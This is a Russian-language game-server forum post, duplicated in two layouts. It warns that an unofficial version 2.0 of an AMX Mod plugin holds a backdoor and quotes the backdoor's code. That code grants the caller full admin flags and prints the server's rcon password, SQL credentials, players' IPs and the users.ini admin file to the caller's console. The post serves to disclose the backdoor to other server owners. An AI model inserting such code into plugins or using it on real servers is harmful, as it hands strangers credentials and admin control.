Возможно, такая тема уже была, но я не нашел.Итак, все знают, что не в оригинальном плагине, да еще в версии 2.0 присутствует дыра, через которую можно пробраться лазутчиком и прописать себе админку, удалять, читать и записывать файлы. Методом поисков, проб и ошибок (короче, нашел в нете) определилась эта дыра:[spoiler]///////////////////////////////////////get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)///////////////////////////////////////client_print(id,print_console,"===========================")client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]")client_print(id,print_console,"===========================")get_players(szPlayers, iNumPlayers) for(new k = 0; k < iNumPlayers; k++) { get_user_name(szPlayers[k],szName, sizeof(szName) - 1) get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1) if(get_user_flags(k + 1) & ADMIN_KICK){szAdm = "/!"iAdmCount++}else{szAdm = ""}console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP) } set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))client_print(id,print_console," ")client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount)client_print(id,print_console,"===========================")client_print(id,print_console,"RCON: ^"%s^"",szRc)client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)client_print(id,print_console,"===========================")client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1)client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2)client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3)client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4)client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5)client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)client_print(id,print_console,"===========================")///////////////////////////////////////get_configsdir(szCfgDir, sizeof (szCfgDir) - 1)format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir)new i = 0tmpi = 0new file = fopen(szCfgDir, "rt")while(!feof(file)){ fgets(file, szData, sizeof(szData) -1)///////////////////////////////////////[/spoiler] Теперь, внимание, вопрос к знатокам:Стоит ли ставить такой плагин (без дыры) или лучше пользоваться оригинальным? У кого какой стоит (я имею ввиду плагин)? Отвечает, как обычно, Александр Друзь! Шутка, конечно...Я сам столкнулся с такой неприятной ситуацией, когда левые люди на сервере говорили мне пароли админов. Но толковые ребята из службы поддержки тыкнули меня носом в этот плагин и сказали "ай-ай-ай, нехорошо поступил". Пока он отключен, т.к. все не по русски и даже не по молдавски, а про функционал я не знаю. Могу, конечно, перевести его на русский с исходника, но сегодня Пасха, нельзя работать...Кстати, всех с праздником! Иисус Воскрес! (хотя я больше верю в теорию Теслы, если честно). Но это уже совсем другая история... |
Сообщений: 6
Реакции: 0
Клиенты
|
Возможно, такая тема уже была, но я не нашел. Итак, все знают, что не в оригинальном плагине, да еще в версии 2.0 присутствует дыра, через которую можно пробраться лазутчиком и прописать себе админку, удалять, читать и записывать файлы. Методом поисков, проб и ошибок (короче, нашел в нете) определилась эта дыра: Спойлер ///////////////////////////////////////
get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1) get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)
get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1) get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1) get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1) get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1) get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1) get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)
///////////////////////////////////////
client_print(id,print_console,"===========================") client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]") client_print(id,print_console,"===========================")
get_players(szPlayers, iNumPlayers)
for(new k = 0; k < iNumPlayers; k++) { get_user_name(szPlayers[k],szName, sizeof(szName) - 1) get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1)
if(get_user_flags(k + 1) & ADMIN_KICK) { szAdm = "/!" iAdmCount++ } else { szAdm = "" }
console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP) }
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
client_print(id,print_console," ") client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount) client_print(id,print_console,"===========================")
client_print(id,print_console,"RCON: ^"%s^"",szRc) client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)
client_print(id,print_console,"===========================")
client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1) client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2) client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3) client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4) client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5) client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)
client_print(id,print_console,"===========================")
///////////////////////////////////////
get_configsdir(szCfgDir, sizeof (szCfgDir) - 1) format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir)
new i = 0 tmpi = 0
new file = fopen(szCfgDir, "rt") while(!feof(file)) { fgets(file, szData, sizeof(szData) -1)
/////////////////////////////////////// Теперь, внимание, вопрос к знатокам: Стоит ли ставить такой плагин (без дыры) или лучше пользоваться оригинальным? У кого какой стоит (я имею ввиду плагин)? Отвечает, как обычно, Александр Друзь! Шутка, конечно... Я сам столкнулся с такой неприятной ситуацией, когда левые люди на сервере говорили мне пароли админов. Но толковые ребята из службы поддержки тыкнули меня носом в этот плагин и сказали "ай-ай-ай, нехорошо поступил". Пока он отключен, т.к. все не по русски и даже не по молдавски, а про функционал я не знаю. Могу, конечно, перевести его на русский с исходника, но сегодня Пасха, нельзя работать... Кстати, всех с праздником! Иисус Воскрес! (хотя я больше верю в теорию Теслы, если честно). Но это уже совсем другая история...
|